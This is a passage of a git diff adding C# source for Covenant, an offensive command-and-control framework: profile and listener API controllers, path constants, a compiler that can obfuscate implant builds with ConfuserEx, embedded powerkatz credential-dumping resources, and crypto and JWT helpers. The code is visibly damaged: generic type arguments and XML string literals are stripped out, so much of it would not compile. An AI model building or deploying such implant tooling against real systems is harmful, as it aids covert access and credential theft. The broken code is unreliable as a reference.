"GetListenerHttpProfile")] + public ActionResult GetListenerHttpProfile(int id) + { + HttpListener listener = (HttpListener)_context.Listeners.FirstOrDefault(L => L.Id == id); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile) _context.Profiles.FirstOrDefault(HP => HP.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + return Ok(profile); + } + } +} diff --git a/Covenant/Controllers/ProfileController.cs b/Covenant/Controllers/ProfileController.cs new file mode 100644 index 00000000..43d746e5 --- /dev/null +++ b/Covenant/Controllers/ProfileController.cs @@ -0,0 +1,194 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Linq; +using System.Collections.Generic; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; + +using Covenant.Models; +using Covenant.Models.Listeners; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/[controller]s")] + public class ProfileController : Controller + { + private readonly CovenantContext _context; + + public ProfileController(CovenantContext context) + { + _context = context; + } + + // GET: api/profiles + // + // Get a list of Profiles + // + [HttpGet(Name = "GetProfiles")] + public IEnumerable GetProfiles() + { + return _context.Profiles.ToList(); + } + + // GET api/profiles/{id} + // + // Get a Profile by id + // + [HttpGet("{id}", Name = "GetProfile")] + public ActionResult GetProfile(int id) + { + var profile = _context.Profiles.FirstOrDefault(p => p.Id == id); + if (profile == null) + { + return NotFound(); + } + return Ok(profile); + } + + // POST api/profiles + // + // Create a Profile + // + [HttpPost(Name = "CreateProfile")] + [ProducesResponseType(typeof(Profile), 201)] + public ActionResult CreateProfile([FromBody]Profile profile) + { + _context.Profiles.Add(profile); + _context.SaveChanges(); + return CreatedAtRoute(nameof(GetProfile), new { id = profile.Id }, profile); + } + + // PUT api/profiles + // + // Edit a Profile + // + [HttpPut(Name = "EditProfile")] + public ActionResult EditProfile([FromBody] Profile profile) + { + var matching_profile = _context.Profiles.FirstOrDefault(p => profile.Id == p.Id); + if (matching_profile == null) + { + return NotFound(); + } + matching_profile.Id = profile.Id; + + _context.Profiles.Update(matching_profile); + _context.SaveChanges(); + + return Ok(matching_profile); + } + + // DELETE api/profiles/{id} + // + // Delete a Profile + // + [HttpDelete("{id}", Name = "DeleteProfile")] + [ProducesResponseType(204)] + public ActionResult DeleteProfile(int id) + { + var profile = _context.Profiles.FirstOrDefault(p => p.Id == id); + if (profile == null) + { + return NotFound(); + } + + _context.Profiles.Remove(profile); + _context.SaveChanges(); + return new NoContentResult(); + } + + + + // GET: api/profiles/http + // + // Get a list of HttpProfiles + // + [HttpGet("http", Name = "GetHttpProfiles")] + public IEnumerable GetHttpProfiles() + { + List httpProfiles = new List(); + foreach (Profile profile in _context.Profiles.ToList()) + { + httpProfiles.Add((HttpProfile)profile); + } + return httpProfiles; + } + + // GET api/profiles/http/{id} + // + // Get an HttpProfile by id + // + [HttpGet("http/{id}", Name = "GetHttpProfile")] + public ActionResult GetHttpProfile(int id) + { + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(p => p.Id == id); + if (profile == null) + { + return NotFound(); + } + return Ok(profile); + } + + // POST api/profiles/http + // + // Create an HttpProfile + // + [HttpPost("http", Name = "CreateHttpProfile")] + [ProducesResponseType(typeof(HttpProfile), 201)] + public ActionResult CreateHttpProfile([FromBody] HttpProfile profile) + { + _context.Profiles.Add(profile); + _context.SaveChanges(); + return CreatedAtRoute(nameof(GetHttpProfile), new { id = profile.Id }, profile); + } + + // PUT api/profiles/http + // + // Edit a Profile + // + [HttpPut("http", Name = "EditHttpProfile")] + public ActionResult EditHttpProfile([FromBody] HttpProfile profile) + { + HttpProfile matching_profile = (HttpProfile)_context.Profiles.FirstOrDefault(p => profile.Id == p.Id); + if (matching_profile == null) + { + return NotFound(); + } + + matching_profile.HttpRequestHeaders = profile.HttpRequestHeaders; + matching_profile.HttpUrls = profile.HttpUrls; + matching_profile.HttpCookies = profile.HttpCookies; + matching_profile.HttpGetResponse = profile.HttpGetResponse; + matching_profile.HttpPostRequest = profile.HttpPostRequest; + matching_profile.HttpPostResponse = profile.HttpPostResponse; + + _context.Profiles.Update(matching_profile); + _context.SaveChanges(); + + return Ok(matching_profile); + } + + // DELETE api/profiles/http/{id} + // + // Delete a HttpProfile + // + [HttpDelete("http/{id}", Name = "DeleteHttpProfile")] + [ProducesResponseType(204)] + public ActionResult DeleteHttpProfile(int id) + { + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(p => p.Id == id); + if (profile == null) + { + return NotFound(); + } + + _context.Profiles.Remove(profile); + _context.SaveChanges(); + return new NoContentResult(); + } + } +} diff --git a/Covenant/Core/Common.cs b/Covenant/Core/Common.cs new file mode 100644 index 00000000..e3b34060 --- /dev/null +++ b/Covenant/Core/Common.cs @@ -0,0 +1,130 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.IO; +using System.Text; +using System.Reflection; +using Microsoft.CodeAnalysis; +using System.Collections.Generic; +using System.Security.Cryptography; + +namespace Covenant.Core +{ + public static class Common + { + public static int CovenantHTTPSPort = 7443; + + public static Encoding CovenantEncoding = Encoding.UTF8; + public static int AesIVLength = 16; + public static CipherMode AesCipherMode = CipherMode.CBC; + public static PaddingMode AesPaddingMode = PaddingMode.PKCS7; + + public static string CovenantDirectory = Assembly.GetExecutingAssembly().Location.Split("bin")[0].Split("Covenant.dll")[0]; + public static string CovenantDataDirectory = CovenantDirectory + "Data" + Path.DirectorySeparatorChar; + public static string CovenantDatabaseFile = CovenantDataDirectory + "covenant.db"; + public static string CovenantTempDirectory = CovenantDataDirectory + "Temp" + Path.DirectorySeparatorChar; + public static string CovenantProfileDirectory = CovenantDataDirectory + "Profiles" + Path.DirectorySeparatorChar; + public static string CovenantDefaultHttpProfile = CovenantProfileDirectory + "DefaultHttpProfile.yaml"; + public static string CovenantDownloadDirectory = CovenantDataDirectory + "Downloads" + Path.DirectorySeparatorChar; + public static string CovenantReferenceDirectory = CovenantDataDirectory + "References" + Path.DirectorySeparatorChar; + public static string CovenantResourceDirectory = CovenantDataDirectory + "Resources" + Path.DirectorySeparatorChar; + public static string CovenantTaskDirectory = CovenantDataDirectory + "Tasks" + Path.DirectorySeparatorChar; + public static string CovenantGruntDirectory = CovenantDataDirectory + "Grunt" + Path.DirectorySeparatorChar; + public static string CovenantLogDirectory = CovenantDataDirectory + "Logs" + Path.DirectorySeparatorChar; + public static string CovenantLogFile = CovenantLogDirectory + "covenant.log"; + public static string CovenantPrivateCertFile = CovenantDataDirectory + "covenant-dev-private.pfx"; + public static string CovenantPublicCertFile = CovenantDataDirectory + "covenant-dev-public.cer"; + public static string CovenantStaticHostDirectory = CovenantDataDirectory + "Static" + Path.DirectorySeparatorChar; + public static string Net35Directory = CovenantReferenceDirectory + "net35" + Path.DirectorySeparatorChar; + public static string Net40Directory = CovenantReferenceDirectory + "net40" + Path.DirectorySeparatorChar; + public static string CovenantSrcDirectory = CovenantTaskDirectory + "src" + Path.DirectorySeparatorChar; + + public static string CovenantAppSettingsFile = CovenantDirectory + "appsettings.json"; + public static string CovenantJwtKeyReplaceMessage = "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]"; + + public static List DefaultReferences = new List + { + new Compiler.Reference { File = "mscorlib.dll", Framework = DotNetVersion.Net35, Enabled = true }, + new Compiler.Reference { File = "System.dll", Framework = DotNetVersion.Net35, Enabled = true }, + new Compiler.Reference { File = "System.Core.dll", Framework = DotNetVersion.Net35, Enabled = true }, + new Compiler.Reference { File = "mscorlib.dll", Framework = DotNetVersion.Net40, Enabled = true }, + new Compiler.Reference { File = "System.dll", Framework = DotNetVersion.Net40, Enabled = true }, + new Compiler.Reference { File = "System.Core.dll", Framework = DotNetVersion.Net40, Enabled = true }, + }; + + public static List SharpSploitEmbeddedResources = new List + { + new Compiler.EmbeddedResource + { + Name = "SharpSploit.Resources.powerkatz_x86.dll", File = "powerkatz_x86.dll", + Platform = Platform.X86, Enabled = false + }, + new Compiler.EmbeddedResource + { + Name = "SharpSploit.Resources.powerkatz_x64.dll", File = "powerkatz_x64.dll", + Platform = Platform.X64, Enabled = true + }, + new Compiler.EmbeddedResource + { + Name = "SharpSploit.Resources.powerkatz_x86.dll.comp", File = "powerkatz_x86.dll.comp", + Platform = Platform.X86, Enabled = false + }, + new Compiler.EmbeddedResource + { + Name = "SharpSploit.Resources.powerkatz_x64.dll.comp", File = "powerkatz_x64.dll.comp", + Platform = Platform.X64, Enabled = false + } + }; + public static List SharpSploitReferences = new List + { + new Compiler.Reference + { + File = "System.DirectoryServices.dll", Framework = DotNetVersion.Net35, Enabled = true + }, + new Compiler.Reference + { + File = "System.IdentityModel.dll", Framework = DotNetVersion.Net35, Enabled = true + }, + new Compiler.Reference + { + File = "System.Management.dll", Framework = DotNetVersion.Net35, Enabled = true + }, + new Compiler.Reference + { + File = "System.Management.Automation.dll", Framework = DotNetVersion.Net35, Enabled = true + }, + new Compiler.Reference + { + File = "System.DirectoryServices.dll", Framework = DotNetVersion.Net40, Enabled = true + }, + new Compiler.Reference + { + File = "System.IdentityModel.dll", Framework = DotNetVersion.Net40, Enabled = true + }, + new Compiler.Reference + { + File = "System.Management.dll", Framework = DotNetVersion.Net40, Enabled = true + }, + new Compiler.Reference + { + File = "System.Management.Automation.dll", Framework = DotNetVersion.Net40, Enabled = true + } + }; + + public static List NetCore21References { get; set; } = new List + { + new Compiler.Reference + { + File = "System.Private.CoreLib.dll", Framework = DotNetVersion.NetCore21, Enabled = true + } + }; + + public enum DotNetVersion + { + Net40, + Net35, + NetCore21 + } + } +} diff --git a/Covenant/Core/Compiler.cs b/Covenant/Core/Compiler.cs new file mode 100644 index 00000000..53a99481 --- /dev/null +++ b/Covenant/Core/Compiler.cs @@ -0,0 +1,350 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Text; +using System.Linq; +using System.IO.Compression; +using System.Collections.Generic; + +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Emit; + +using Confuser.Core; +using Confuser.Core.Project; + +namespace Covenant.Core +{ + public class Compiler + { + public class CompilationRequest + { + public string Source { get; set; } = null; + public string SourceDirectory { get; set; } = null; + public string ResourceDirectory { get; set; } = null; + public string ReferenceDirectory { get; set; } = null; + + public Common.DotNetVersion TargetDotNetVersion { get; set; } = Common.DotNetVersion.Net35; + public OutputKind OutputKind { get; set; } = OutputKind.DynamicallyLinkedLibrary; + public Platform Platform { get; set; } = Platform.AnyCpu; + public bool Optimize { get; set; } = true; + public bool Confuse { get; set; } = false; + + public string AssemblyName { get; set; } = null; + public List References { get; set; } = new List(); + public List EmbeddedResources { get; set; } = new List(); + } + + public class EmbeddedResource + { + public string Name { get; set; } + public string File { get; set; } + public Platform Platform { get; set; } = Platform.AnyCpu; + public bool Enabled { get; set; } = false; + } + + public class Reference + { + public string File { get; set; } + public Common.DotNetVersion Framework { get; set; } = Common.DotNetVersion.Net35; + public bool Enabled { get; set; } = false; + } + + private class SourceSyntaxTree + { + public string FileName { get; set; } = ""; + public SyntaxTree SyntaxTree { get; set; } + public List UsedTypes { get; set; } = new List(); + } + + public static byte[] Compile(CompilationRequest request) + { + // Gather SyntaxTrees for compilation + List sourceSyntaxTrees = new List(); + List compilationTrees = new List(); + + if (request.SourceDirectory != null) + { + sourceSyntaxTrees = Directory.GetFiles(request.SourceDirectory, "*.cs", SearchOption.AllDirectories) + .Select(F => new SourceSyntaxTree { FileName = F, SyntaxTree = CSharpSyntaxTree.ParseText(File.ReadAllText(F), new CSharpParseOptions()) }) + .ToList(); + compilationTrees = sourceSyntaxTrees.Select(S => S.SyntaxTree).ToList(); + } + SyntaxTree sourceTree = CSharpSyntaxTree.ParseText(request.Source, new CSharpParseOptions()); + compilationTrees.Add(sourceTree); + + List references = request.References.Where(R => R.Framework == request.TargetDotNetVersion).Where(R => R.Enabled).Select(R => + { + switch (R.Framework) + { + case Common.DotNetVersion.Net35: + return MetadataReference.CreateFromFile(request.ReferenceDirectory + "net35" + Path.DirectorySeparatorChar + R.File); + case Common.DotNetVersion.Net40: + return MetadataReference.CreateFromFile(request.ReferenceDirectory + "net40" + Path.DirectorySeparatorChar + R.File); + case Common.DotNetVersion.NetCore21: + return MetadataReference.CreateFromFile(request.ReferenceDirectory + Path.DirectorySeparatorChar + R.File); + default: + return null; + } + }).ToList(); + + // Use specified OutputKind and Platform + CSharpCompilationOptions options = new CSharpCompilationOptions(outputKind: request.OutputKind, optimizationLevel: OptimizationLevel.Release, platform: request.Platform); + // Compile to obtain SemanticModel + CSharpCompilation compilation = CSharpCompilation.Create( + request.AssemblyName == null ? Path.GetRandomFileName() : request.AssemblyName, + compilationTrees, + references, + options + ); + + // Perform source code optimization, removing unused types + if (request.Optimize) + { + // Find all Types used by the generated compilation + List usedTypes = new List(); + GetUsedTypesRecursively(compilation, sourceTree, ref usedTypes, ref sourceSyntaxTrees); + usedTypes = usedTypes.Distinct().ToList(); + List usedTypeNames = usedTypes.Select(T => GetFullyQualifiedTypeName(T)).ToList(); + // SharpGenConsole.PrintInfoLine("usedTypes: " + String.Join(",", usedTypeNames)); + + // Filter SyntaxTrees to trees that define a used Type, otherwise the tree is not needed in this compilation + compilationTrees = sourceSyntaxTrees.Where(SST => SyntaxTreeDefinesUsedType(compilation, SST.SyntaxTree, usedTypeNames)) + .Select(SST => SST.SyntaxTree) + .ToList(); + + // Removed unused Using statements from the additional entrypoint source + List usedNamespaceNames = GetUsedTypes(compilation, sourceTree) + .Select(T => GetFullyQualifiedContainingNamespaceName(T)).Distinct().ToList(); + // SharpGenConsole.PrintInfoLine("usedNamespaces: " + String.Join(",", usedNamespaceNames)); + List unusedUsingDirectives = sourceTree.GetRoot().DescendantNodes().Where(N => + { + return N.Kind() == SyntaxKind.UsingDirective && !usedNamespaceNames.Contains(((UsingDirectiveSyntax)N).Name.ToFullString()); + }).ToList(); + sourceTree = sourceTree.GetRoot().RemoveNodes(unusedUsingDirectives, SyntaxRemoveOptions.KeepNoTrivia).SyntaxTree; + + // Compile again, with unused SyntaxTrees and unused using statements removed + compilationTrees.Add(sourceTree); + compilation = CSharpCompilation.Create( + request.AssemblyName == null ? Path.GetRandomFileName() : request.AssemblyName, + compilationTrees, + request.References.Where(R => R.Framework == request.TargetDotNetVersion).Where(R => R.Enabled).Select(R => + { + switch (request.TargetDotNetVersion) + { + case Common.DotNetVersion.Net35: + return MetadataReference.CreateFromFile(request.ReferenceDirectory + "net35" + Path.DirectorySeparatorChar + R.File); + case Common.DotNetVersion.Net40: + return MetadataReference.CreateFromFile(request.ReferenceDirectory + "net40" + Path.DirectorySeparatorChar + R.File); + case Common.DotNetVersion.NetCore21: + return MetadataReference.CreateFromFile(request.ReferenceDirectory + Path.DirectorySeparatorChar + R.File); + default: + return null; + } + }).ToList(), + options + ); + } + + // Emit compilation + EmitResult emitResult; + byte[] ILbytes = null; + using (var ms = new MemoryStream()) + { + emitResult = compilation.Emit( + ms, + manifestResources: request.EmbeddedResources.Where(ER => + { + return request.Platform == Platform.AnyCpu || ER.Platform == Platform.AnyCpu || ER.Platform == request.Platform; + }).Where(ER => ER.Enabled).Select(ER => + { + return new ResourceDescription(ER.Name, () => File.OpenRead(request.ResourceDirectory + ER.File), true); + }).ToList() + ); + if (emitResult.Success) + { + ms.Flush(); + ms.Seek(0, SeekOrigin.Begin); + ILbytes = ms.ToArray(); + } + else + { + StringBuilder sb = new StringBuilder(); + foreach (Diagnostic d in emitResult.Diagnostics) + { + sb.AppendLine(d.ToString()); + } + throw new CompilerException("CompilationErrors: " + Environment.NewLine + sb); + } + } + if (request.Confuse) + { + return Confuse(ILbytes); + } + return ILbytes; + } + + private static byte[] Confuse(byte[] ILBytes) + { + ConfuserProject project = new ConfuserProject(); + System.Xml.XmlDocument doc = new System.Xml.XmlDocument(); + File.WriteAllBytes(Common.CovenantTempDirectory + "confused", ILBytes); + string ProjectFile = String.Format( + ConfuserExOptions, + Common.CovenantTempDirectory, + Common.CovenantTempDirectory, + "confused" + ); + doc.Load(new StringReader(ProjectFile)); + project.Load(doc); + project.ProbePaths.Add(Common.Net35Directory); + project.ProbePaths.Add(Common.Net40Directory); + + ConfuserParameters parameters = new ConfuserParameters(); + parameters.Project = project; + parameters.Logger = default; + ConfuserEngine.Run(parameters).Wait(); + return File.ReadAllBytes(Common.CovenantTempDirectory + "confused"); + } + + private static string ConfuserExOptions { get; set; } = @" + + + + + + + + + + + + + + + + +"; + + private static string GetFullyQualifiedContainingNamespaceName(INamespaceSymbol namespaceSymbol) + { + string name = namespaceSymbol.Name; + namespaceSymbol = namespaceSymbol.ContainingNamespace; + while (namespaceSymbol != null) + { + name = namespaceSymbol.Name + "." + name; + namespaceSymbol = namespaceSymbol.ContainingNamespace; + } + return name.Trim('.'); + } + + private static string GetFullyQualifiedContainingNamespaceName(INamedTypeSymbol namedTypeSymbol) + { + return GetFullyQualifiedContainingNamespaceName(namedTypeSymbol.ContainingNamespace); + } + + private static string GetFullyQualifiedTypeName(INamedTypeSymbol namedTypeSymbol) + { + return GetFullyQualifiedContainingNamespaceName(namedTypeSymbol) + "." + namedTypeSymbol.Name; + } + + private static bool SyntaxTreeDefinesUsedType(CSharpCompilation compilation, SyntaxTree tree, List typeNames) + { + SemanticModel model = compilation.GetSemanticModel(tree); + return null != tree.GetRoot().DescendantNodes().FirstOrDefault(SN => + { + if (SN.Kind() != SyntaxKind.ClassDeclaration) + { + return false; + } + INamedTypeSymbol symbol = model.GetDeclaredSymbol(((ClassDeclarationSyntax)SN)); + if (symbol == null) + { + return false; + } + return typeNames.Contains( + GetFullyQualifiedTypeName(symbol) + ); + }); + } + + private static List GetUsedTypes(CSharpCompilation compilation, SyntaxTree sourceTree) + { + return sourceTree.GetRoot().DescendantNodes().Select(N => + { + ISymbol symbol = compilation.GetSemanticModel(sourceTree).GetSymbolInfo(N).Symbol; + if (symbol != null && symbol.ContainingType != null) + { + return symbol.ContainingType; + } + return null; + }).Distinct().Where(T => T != null).ToList(); + } + + private static List GetUsedTypesRecursively(CSharpCompilation compilation, SyntaxTree sourceTree, ref List currentUsedTypes, ref List sourceSyntaxTrees) + { + List copyCurrentUsedTypes = currentUsedTypes.Select(CT => GetFullyQualifiedTypeName(CT)).ToList(); + List usedTypes = GetUsedTypes(compilation, sourceTree) + .Where(T => !copyCurrentUsedTypes.Contains(GetFullyQualifiedTypeName(T))) + .ToList(); + currentUsedTypes.AddRange(usedTypes); + + List searchTrees = new List(); + foreach (INamedTypeSymbol symbol in usedTypes) + { + SyntaxReference sr = symbol.DeclaringSyntaxReferences.FirstOrDefault(); + if (sr != null) + { + SourceSyntaxTree sst = sourceSyntaxTrees.FirstOrDefault(SST => SST.SyntaxTree == sr.SyntaxTree); + if (sst != null) { sst.UsedTypes.Add(symbol); } + string fullyQualifiedTypeName = GetFullyQualifiedTypeName(symbol); + searchTrees.Add(sr.SyntaxTree); + } + } + + searchTrees = searchTrees.Distinct().ToList(); + foreach (SyntaxTree tree in searchTrees) + { + List newTypes = GetUsedTypesRecursively(compilation, tree, ref currentUsedTypes, ref sourceSyntaxTrees); + currentUsedTypes.AddRange(newTypes); + } + return currentUsedTypes; + } + + public static byte[] Compress(byte[] bytes) + { + byte[] compressedILBytes; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress)) + { + deflateStream.Write(bytes, 0, bytes.Length); + } + compressedILBytes = memoryStream.ToArray(); + } + return compressedILBytes; + } + } + + public class CompilerException : Exception + { + public CompilerException() + { + + } + + public CompilerException(string message) : base(message) + { + + } + + public CompilerException(string message, Exception inner) : base(message, inner) + { + + } + } +} \ No newline at end of file diff --git a/Covenant/Core/CovenantException.cs b/Covenant/Core/CovenantException.cs new file mode 100644 index 00000000..f3fd6b50 --- /dev/null +++ b/Covenant/Core/CovenantException.cs @@ -0,0 +1,57 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Collections.Generic; + +namespace Covenant.Core +{ + public class CovenantException: Exception + { + public CovenantException() : base() + { + + } + public CovenantException(string message) : base(message) + { + + } + } + + public class CovenantDirectoryTraversalException : Exception + { + public CovenantDirectoryTraversalException() : base() + { + + } + public CovenantDirectoryTraversalException(string message) : base(message) + { + + } + } + + public class CovenantLauncherNeedsListenerException : CovenantException + { + public CovenantLauncherNeedsListenerException() : base() + { + + } + public CovenantLauncherNeedsListenerException(string message) : base(message) + { + + } + } + + public class CovenantCompileGruntStagerFailedException : CovenantException + { + public CovenantCompileGruntStagerFailedException() : base() + { + + } + public CovenantCompileGruntStagerFailedException(string message) : base(message) + { + + } + } +} diff --git a/Covenant/Core/Encryption.cs b/Covenant/Core/Encryption.cs new file mode 100644 index 00000000..bfbea1bc --- /dev/null +++ b/Covenant/Core/Encryption.cs @@ -0,0 +1,204 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Text; +using System.Linq; +using System.Security.Cryptography; +using System.Xml; + +namespace Covenant.Core.Encryption +{ + public static class Utilities + { + // Returns IV (16 bytes) + EncryptedData byte array + public static byte[] AesEncrypt(byte[] data, byte[] key) + { + Aes SessionKey = Aes.Create(); + SessionKey.Mode = Common.AesCipherMode; + SessionKey.Padding = Common.AesPaddingMode; + SessionKey.GenerateIV(); + SessionKey.Key = key; + + byte[] encrypted = SessionKey.CreateEncryptor().TransformFinalBlock(data, 0, data.Length); + + return SessionKey.IV.Concat(encrypted).ToArray(); + } + + // Data should be of format: IV (16 bytes) + EncryptedBytes + public static byte[] AesDecrypt(byte[] data, byte[] key) + { + Aes SessionKey = Aes.Create(); + SessionKey.IV = data.Take(Common.AesIVLength).ToArray(); + SessionKey.Key = key; + + byte[] encryptedData = data.TakeLast(data.Length - Common.AesIVLength).ToArray(); + byte[] decrypted = SessionKey.CreateDecryptor().TransformFinalBlock(encryptedData, 0, encryptedData.Length); + + return decrypted; + } + // Convenience method for decrypting an EncryptedMessagePacket + public static byte[] AesDecrypt(EncryptedMessagePacket encryptedMessage, byte[] key) + { + return AesDecrypt( + Convert.FromBase64String(encryptedMessage.IV) + .Concat(Convert.FromBase64String(encryptedMessage.EncryptedMessage)).ToArray(), + key + ); + } + + public static byte[] ComputeHMAC(byte[] data, byte[] key) + { + HMACSHA256 SessionHmac = new HMACSHA256(key); + return SessionHmac.ComputeHash(data); + } + + public static bool VerifyHMAC(byte[] hashedBytes, byte[] hash, byte[] key) + { + HMACSHA256 hmac = new HMACSHA256(key); + byte[] calculatedHash = hmac.ComputeHash(hashedBytes); + + // Should do double hmac? + return Enumerable.SequenceEqual(calculatedHash, hash); + } + + public static byte[] RSAEncrypt(byte[] toEncrypt, string RSAPublicKeyXMLString) + { + RSA RSAPublicKey = RSA.Create(); + RSAKeyExtensions.FromXmlString(RSAPublicKey, RSAPublicKeyXMLString); + return RSAPublicKey.Encrypt(toEncrypt, RSAEncryptionPadding.OaepSHA1); + } + + public static string GetMD5(byte[] input) + { + using (MD5 md5 = MD5.Create()) + { + byte[] data = md5.ComputeHash(input); + + StringBuilder sBuilder = new StringBuilder(); + for (int i = 0; i < data.Length; i++) + { + sBuilder.Append(data[i].ToString("x2")); + } + return sBuilder.ToString(); + } + } + + public static string GetSHA1(byte[] input) + { + using (SHA1 sha1 = SHA1.Create()) + { + byte[] data = sha1.ComputeHash(input); + + StringBuilder sBuilder = new StringBuilder(); + for (int i = 0; i < data.Length; i++) + { + sBuilder.Append(data[i].ToString("x2")); + } + return sBuilder.ToString(); + } + } + + public static string GetSHA256(byte[] input) + { + using (SHA256 sha2 = SHA256.Create()) + { + byte[] data = sha2.ComputeHash(input); + + StringBuilder sBuilder = new StringBuilder(); + for (int i = 0; i < data.Length; i++) + { + sBuilder.Append(data[i].ToString("x2")); + } + return sBuilder.ToString(); + } + } + } + + public class EncryptedMessagePacket + { + public string IV { get; set; } + public string EncryptedMessage { get; set; } + public string HMAC { get; set; } + + public static EncryptedMessagePacket Create(byte[] message, byte[] key) + { + byte[] encryptedMessagePacket = Utilities.AesEncrypt(message, key); + byte[] encryptionIV = encryptedMessagePacket.Take(Common.AesIVLength).ToArray(); + byte[] encryptedMessage = encryptedMessagePacket.TakeLast(encryptedMessagePacket.Length - Common.AesIVLength).ToArray(); + byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, key); + return new EncryptedMessagePacket + { + EncryptedMessage = Convert.ToBase64String(encryptedMessage), + IV = Convert.ToBase64String(encryptionIV), + HMAC = Convert.ToBase64String(hmac) + }; + } + + public bool VerifyHMAC(byte[] Key) + { + if (IV == "" || EncryptedMessage == "" || HMAC == "" || Key.Length == 0) { return false; } + try + { + var hashedBytes = Convert.FromBase64String(this.EncryptedMessage); + return Utilities.VerifyHMAC(hashedBytes, Convert.FromBase64String(this.HMAC), Key); + } + catch + { + return false; + } + } + + } + + internal static class RSAKeyExtensions + { + public static void FromXmlString(this RSA rsa, string xmlString) + { + RSAParameters parameters = new RSAParameters(); + + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.LoadXml(xmlString); + + if (xmlDoc.DocumentElement.Name.Equals("RSAKeyValue")) + { + foreach (XmlNode node in xmlDoc.DocumentElement.ChildNodes) + { + switch (node.Name) + { + case "Modulus": parameters.Modulus = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + case "Exponent": parameters.Exponent = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + case "P": parameters.P = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + case "Q": parameters.Q = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + case "DP": parameters.DP = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + case "DQ": parameters.DQ = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + case "InverseQ": parameters.InverseQ = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + case "D": parameters.D = (string.IsNullOrEmpty(node.InnerText) ? null : Convert.FromBase64String(node.InnerText)); break; + } + } + } + else + { + throw new Exception("Invalid XML RSA key."); + } + + rsa.ImportParameters(parameters); + } + + public static string ToXmlString(this RSA rsa, bool includePrivateParameters) + { + RSAParameters parameters = rsa.ExportParameters(includePrivateParameters); + + return string.Format("{0}{1}

{2}

{3}{4}{5}{6}{7}
", + parameters.Modulus != null ? Convert.ToBase64String(parameters.Modulus) : null, + parameters.Exponent != null ? Convert.ToBase64String(parameters.Exponent) : null, + parameters.P != null ? Convert.ToBase64String(parameters.P) : null, + parameters.Q != null ? Convert.ToBase64String(parameters.Q) : null, + parameters.DP != null ? Convert.ToBase64String(parameters.DP) : null, + parameters.DQ != null ? Convert.ToBase64String(parameters.DQ) : null, + parameters.InverseQ != null ? Convert.ToBase64String(parameters.InverseQ) : null, + parameters.D != null ? Convert.ToBase64String(parameters.D) : null); + } + } +} \ No newline at end of file diff --git a/Covenant/Core/Utilities.cs b/Covenant/Core/Utilities.cs new file mode 100644 index 00000000..de55a368 --- /dev/null +++ b/Covenant/Core/Utilities.cs @@ -0,0 +1,183 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Net; +using System.Text; +using System.IO.Compression; +using System.Collections.Generic; +using System.Text.RegularExpressions; + +using Microsoft.IdentityModel.Tokens; +using System.IdentityModel.Tokens.Jwt; +using System.Security.Claims; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; + +namespace Covenant.Core +{ + public static class Utilities + { + public static byte[] Compress(byte[] bytes) + { + byte[] compressedBytes; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress)) + { + deflateStream.Write(bytes, 0, bytes.Length); + } + compressedBytes = memoryStream.ToArray(); + } + return compressedBytes; + } + + public static string GenerateJwtToken(string UserName, string UserId, string[] Roles, + string JwtKey, string JwtIssuer, string JwtAudience, string JwtExpireDays) + { + List claims = new List + { + new Claim(JwtRegisteredClaimNames.Sub, UserName), + new Claim(JwtRegisteredClaimNames.Jti, CreateSecureGuid().ToString()), + new Claim(ClaimTypes.NameIdentifier, UserId) + }; + foreach (string role in Roles) + { + claims.Add(new Claim(ClaimTypes.Role, role)); + } + + SymmetricSecurityKey key = new SymmetricSecurityKey(Common.CovenantEncoding.GetBytes(JwtKey)); + SigningCredentials credentials = new SigningCredentials(key, SecurityAlgorithms.HmacSha256); + DateTime expireTime = DateTime.Now.AddDays(Convert.ToDouble(JwtExpireDays)); + + JwtSecurityToken token = new JwtSecurityToken( + JwtIssuer, JwtAudience, claims, expires: expireTime, signingCredentials: credentials + ); + + return new JwtSecurityTokenHandler().WriteToken(token); + } + + public static string GenerateJwtKey() + { + char[] printablechars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!#$%^&*()_+{}|:<>?~-=[];',./`".ToCharArray(); + using (var provider = RandomNumberGenerator.Create()) + { + // Random length between 50 and 100 characters + int min = 50; int max = 100; + byte[] lengthBytes = new byte[4]; + 